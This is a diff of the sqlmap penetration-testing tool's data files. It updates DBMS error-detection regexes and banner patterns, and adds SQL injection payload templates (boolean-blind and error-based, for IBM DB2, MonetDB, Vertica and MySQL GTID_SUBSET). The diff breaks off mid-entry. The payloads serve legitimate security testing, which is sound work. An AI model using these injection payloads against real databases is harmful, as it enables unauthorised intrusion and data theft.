 SQLSTATE
 SQLWARNING
 SQRT
 START
 STATIC
 STDDEV_POP
 STDDEV_SAMP
 SUBMULTISET
 SUBSET
 SUBSTRING
 SUBSTRING_REGEX
 SUCCEEDS
 SUM
 SYMMETRIC
 SYSTEM
 SYSTEM_TIME
 SYSTEM_USER
 TABLE
 TABLESAMPLE
 TAN
 TANH
 THEN
 TIME
 TIMESTAMP
 TIMEZONE_HOUR
 TIMEZONE_MINUTE
 TO
 TRAILING
 TRANSLATE
 TRANSLATE_REGEX
 TRANSLATION
 TREAT
 TRIGGER
 TRIM
 TRIM_ARRAY
 TRUE
 TRUNCATE
 UESCAPE
 UNION
 UNIQUE
 UNKNOWN
 UNMATCHED
 UNNEST
 UPDATE
 UPPER
 USER
 USING
 VALUE
 VALUES
 VALUE_OF
 VARBINARY
 VARCHAR
 VARIADIC
 VARYING
 VAR_POP
 VAR_SAMP
 VERBOSE
 VERSIONING
 WHEN
 WHENEVER
 WHERE
 WIDTH_BUCKET
 WINDOW
 WITH
 WITHIN
 WITHOUT
 XML
 XMLAGG
 XMLATTRIBUTES
 XMLBINARY
 XMLCAST
 XMLCOMMENT
 XMLCONCAT
 XMLDOCUMENT
 XMLELEMENT
 XMLEXISTS
 XMLFOREST
 XMLITERATE
 XMLNAMESPACES
 XMLPARSE
 XMLPI
 XMLQUERY
 XMLSERIALIZE
 XMLTABLE
 XMLTEXT
 XMLVALIDATE
 YEAR
--- a/data/txt/smalldict.txt
+++ b/data/txt/smalldict.txt
--- a/data/txt/user-agents.txt
+++ b/data/txt/user-agents.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Opera
--- a/data/txt/wordlist.tx_
+++ b/data/txt/wordlist.tx_
--- a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
+++ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
--- a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
+++ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
--- a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
+++ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
--- a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
+++ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
--- a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
--- a/data/xml/banner/generic.xml
+++ b/data/xml/banner/generic.xml
@@ -83,6 +83,10 @@
        <info type="Linux"/>
    </regexp>
    <regexp value="\bArch\b">
        <info type="Linux" distrib="Arch"/>
    </regexp>
    <regexp value="CentOS">
        <info type="Linux" distrib="CentOS"/>
    </regexp>
@@ -115,10 +119,22 @@
        <info type="Linux" distrib="Mandrake"/>
    </regexp>
    <regexp value="Manjaro">
        <info type="Linux" distrib="Manjaro"/>
    </regexp>
    <regexp value="Mandriva">
        <info type="Linux" distrib="Mandriva"/>
    </regexp>
    <regexp value="\bMint\b">
        <info type="Linux" distrib="Mint"/>
    </regexp>
    <regexp value="\bPuppy\b">
        <info type="Linux" distrib="Puppy"/>
    </regexp>
    <regexp value="Red[\-\_\ ]?Hat">
        <info type="Linux" distrib="Red Hat"/>
    </regexp>
--- a/data/xml/boundaries.xml
+++ b/data/xml/boundaries.xml
@@ -213,6 +213,15 @@ Formats:
        <suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>
    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>%'</prefix>
        <suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
    </boundary>
    <boundary>
        <level>2</level>
        <clause>1</clause>
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -1,13 +1,14 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <root>
    <!-- MySQL -->
    <dbms value="MySQL">
        <error regexp="SQL syntax.*?MySQL"/>
        <error regexp="Warning.*?\Wmysqli?_"/>
        <error regexp="MySQLSyntaxErrorException"/>
        <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
        <error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
        <error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
        <error regexp="Unknown column '[^ ]+' in 'field list'"/>
        <error regexp="MySqlClient\."/>
        <error regexp="com\.mysql\.jdbc"/>
@@ -15,9 +16,11 @@
        <error regexp="Pdo[./_\\]Mysql"/>
        <error regexp="MySqlException"/>
        <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
        <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
        <error regexp="is not supported by MemSQL" fork="MemSQL"/>
        <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
    </dbms>
    <!-- PostgreSQL -->
    <dbms value="PostgreSQL">
        <error regexp="PostgreSQL.*?ERROR"/>
        <error regexp="Warning.*?\Wpg_"/>
@@ -33,7 +36,6 @@
        <error regexp="PSQLException"/>
    </dbms>
    <!-- Microsoft SQL Server -->
    <dbms value="Microsoft SQL Server">
        <error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
        <error regexp="OLE DB.*? SQL Server"/>
@@ -55,7 +57,6 @@
        <error regexp="SQL(Srv|Server)Exception"/>
    </dbms>
    <!-- Microsoft Access -->
    <dbms value="Microsoft Access">
        <error regexp="Microsoft Access (\d+ )?Driver"/>
        <error regexp="JET Database Engine"/>
@@ -64,7 +65,6 @@
        <error regexp="Syntax error \(missing operator\) in query expression"/>
    </dbms>
    <!-- Oracle -->
    <dbms value="Oracle">
        <error regexp="\bORA-\d{5}"/>
        <error regexp="Oracle error"/>
@@ -79,19 +79,18 @@
        <error regexp="OracleException"/>
    </dbms>
    <!-- IBM DB2 -->
    <dbms value="IBM DB2">
        <error regexp="CLI Driver.*?DB2"/>
        <error regexp="DB2 SQL error"/>
        <error regexp="\bdb2_\w+\("/>
-        <error regexp="SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
        <error regexp="com\.ibm\.db2\.jcc"/>
        <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
        <error regexp="Pdo[./_\\]Ibm"/>
        <error regexp="DB2Exception"/>
        <error regexp="ibm_db_dbi\.ProgrammingError"/>
    </dbms>
    <!-- Informix -->
    <dbms value="Informix">
        <error regexp="Warning.*?\Wifx_"/>
        <error regexp="Exception.*?Informix"/>
@@ -111,7 +110,6 @@
        <error regexp="Pdo[./_\\]Firebird"/>
    </dbms>
    <!-- SQLite -->
    <dbms value="SQLite">
        <error regexp="SQLite/JDBCDriver"/>
        <error regexp="SQLite\.Exception"/>
@@ -126,15 +124,15 @@
        <error regexp="SQLiteException"/>
    </dbms>
    <!-- SAP MaxDB -->
    <dbms value="SAP MaxDB">
        <error regexp="SQL error.*?POS([0-9]+)"/>
        <error regexp="Warning.*?\Wmaxdb_"/>
        <error regexp="DriverSapDB"/>
        <error regexp="-3014.*?Invalid end of SQL statement"/>
        <error regexp="com\.sap\.dbtech\.jdbc"/>
        <error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
    </dbms>
    <!-- Sybase -->
    <dbms value="Sybase">
        <error regexp="Warning.*?\Wsybase_"/>
        <error regexp="Sybase message"/>
@@ -144,7 +142,6 @@
        <error regexp="com\.sybase\.jdbc"/>
    </dbms>
    <!-- Ingres -->
    <dbms value="Ingres">
        <error regexp="Warning.*?\Wingres_"/>
        <error regexp="Ingres SQLSTATE"/>
@@ -152,21 +149,72 @@
        <error regexp="com\.ingres\.gcf\.jdbc"/>
    </dbms>
-    <!-- Frontbase -->
+    <dbms value="FrontBase">
    <dbms value="Frontbase">
        <error regexp="Exception (condition )?\d+\. Transaction rollback"/>
        <error regexp="com\.frontbase\.jdbc"/>
        <error regexp="Syntax error 1. Missing"/>
        <error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
    </dbms>
    <!-- HSQLDB -->
    <dbms value="HSQLDB">
        <error regexp="Unexpected end of command in statement \["/>
        <error regexp="Unexpected token.*?in statement \["/>
        <error regexp="org\.hsqldb\.jdbc"/>
    </dbms>
    <!-- H2 -->
    <dbms value="H2">
        <error regexp="org\.h2\.jdbc"/>
        <error regexp="\[42000-192\]"/>
    </dbms>
    <dbms value="MonetDB">
        <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
        <error regexp="\[MonetDB\]\[ODBC Driver"/>
        <error regexp="nl\.cwi\.monetdb\.jdbc"/>
    </dbms>
    <dbms value="Apache Derby">
        <error regexp="Syntax error: Encountered"/>
        <error regexp="org\.apache\.derby"/>
        <error regexp="ERROR 42X01"/>
    </dbms>
    <dbms value="Vertica">
        <error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
        <error regexp="/vertica/Parser/scan"/>
        <error regexp="com\.vertica\.jdbc"/>
        <error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
        <error regexp="com\.vertica\.dsi\.dataengine"/>
    </dbms>
    <dbms value="Mckoi">
        <error regexp="com\.mckoi\.JDBCDriver"/>
        <error regexp="com\.mckoi\.database\.jdbc"/>
        <error regexp="&lt;REGEX_LITERAL&gt;"/>
    </dbms>
    <dbms value="Presto">
        <error regexp="com\.facebook\.presto\.jdbc"/>
        <error regexp="io\.prestosql\.jdbc"/>
        <error regexp="com\.simba\.presto\.jdbc"/>
        <error regexp="UNION query has different number of fields: \d+, \d+"/>
    </dbms>
    <dbms value="Altibase">
        <error regexp="Altibase\.jdbc\.driver"/>
    </dbms>
    <dbms value="MimerSQL">
        <error regexp="com\.mimer\.jdbc"/>
        <error regexp="Syntax error,[^\n]+assumed to mean"/>
    </dbms>
    <dbms value="CrateDB">
        <error regexp="io\.crate\.client\.jdbc"/>
    </dbms>
    <dbms value="Cache">
        <error regexp="encountered after end of query"/>
        <error regexp="A comparison operator is required here"/>
    </dbms>
 </root>
--- a/data/xml/livetests.xml
+++ b/data/xml/livetests.xml
--- a/data/xml/payloads/boolean_blind.xml
+++ b/data/xml/payloads/boolean_blind.xml
@@ -824,7 +824,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -845,7 +844,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1193,7 +1191,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1214,7 +1211,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1332,6 +1328,44 @@ Tag: <test>
        </details>
    </test>
    <test>
        <title>IBM DB2 boolean-based blind - ORDER BY clause</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
        <request>
            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
        </request>
        <response>
            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
        <stype>1</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
        <request>
            <payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
        </request>
        <response>
            <comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!-- Works in MySQL, Oracle, etc. -->
    <test>
        <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1474,7 +1507,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -91,6 +91,46 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,8,9</clause>
        <where>1</where>
        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
@@ -404,7 +444,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -425,7 +464,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -446,7 +484,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -467,7 +504,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -488,7 +524,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -509,7 +544,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -672,7 +706,7 @@
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
@@ -689,9 +723,9 @@
    <test>
        <title>Firebird OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
-        <level>3</level>
+        <level>4</level>
        <risk>3</risk>
-        <clause>1,9</clause>
+        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
@@ -704,6 +738,121 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
    <test>
        <title>MonetDB AND error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MonetDB</dbms>
        </details>
    </test>
    <test>
        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MonetDB</dbms>
        </details>
    </test>
    <test>
        <title>Vertica AND error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Vertica</dbms>
        </details>
    </test>
    <test>
        <title>Vertica OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Vertica</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
@@ -777,6 +926,26 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
        <stype>2</stype>
@@ -924,7 +1093,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -945,7 +1113,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -986,6 +1153,25 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 error-based - Parameter replace</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>IBM DB2</dbms>
        </details>
    </test>
    <!-- End of error-based tests - Parameter replace -->
    <!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1029,6 +1215,26 @@
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
        <request>
            <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.6</dbms_version>
        </details>
    </test>
    <test>
        <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
@@ -1129,7 +1335,6 @@
        </details>
    </test>
    <test>
        <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
        <stype>2</stype>
@@ -1185,7 +1390,6 @@
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1213,7 +1417,7 @@
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
-        <clause>2,3</clause>
+        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
        <request>
@@ -1226,9 +1430,51 @@
            <dbms>Firebird</dbms>
        </details>
    </test>
    <test>
        <title>IBM DB2 error-based - ORDER BY clause</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
